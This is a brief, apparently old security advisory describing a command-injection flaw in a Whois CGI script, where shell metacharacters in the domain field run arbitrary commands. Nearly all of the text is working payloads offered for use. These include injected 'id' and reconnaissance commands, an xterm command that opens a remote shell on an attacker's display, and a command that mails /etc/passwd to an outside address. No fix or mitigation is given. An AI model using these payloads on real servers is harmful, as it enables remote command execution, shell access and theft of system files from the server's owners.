These versions of the Whois CGI allow execution of commands due to lack of shell escape character parsing if the domain entries consist of one of the following strings:
(Note: Strings will vary for different vulnerable versions)
1) ;commands
2) ";commands
3) ;commands;
Example:
A whois query consisting of:
1) ;id
2) ";id
Or either,
3) ;id;
Will result in:
uid=501(blah) gid=500(blah)'
Other examples that can be used:
;xterm -display ip:0.0 -rv -e /bin/sh
";uname -a;whoami;w;ls -al
;cat /etc/passwd|mail you@yourdomain.com;
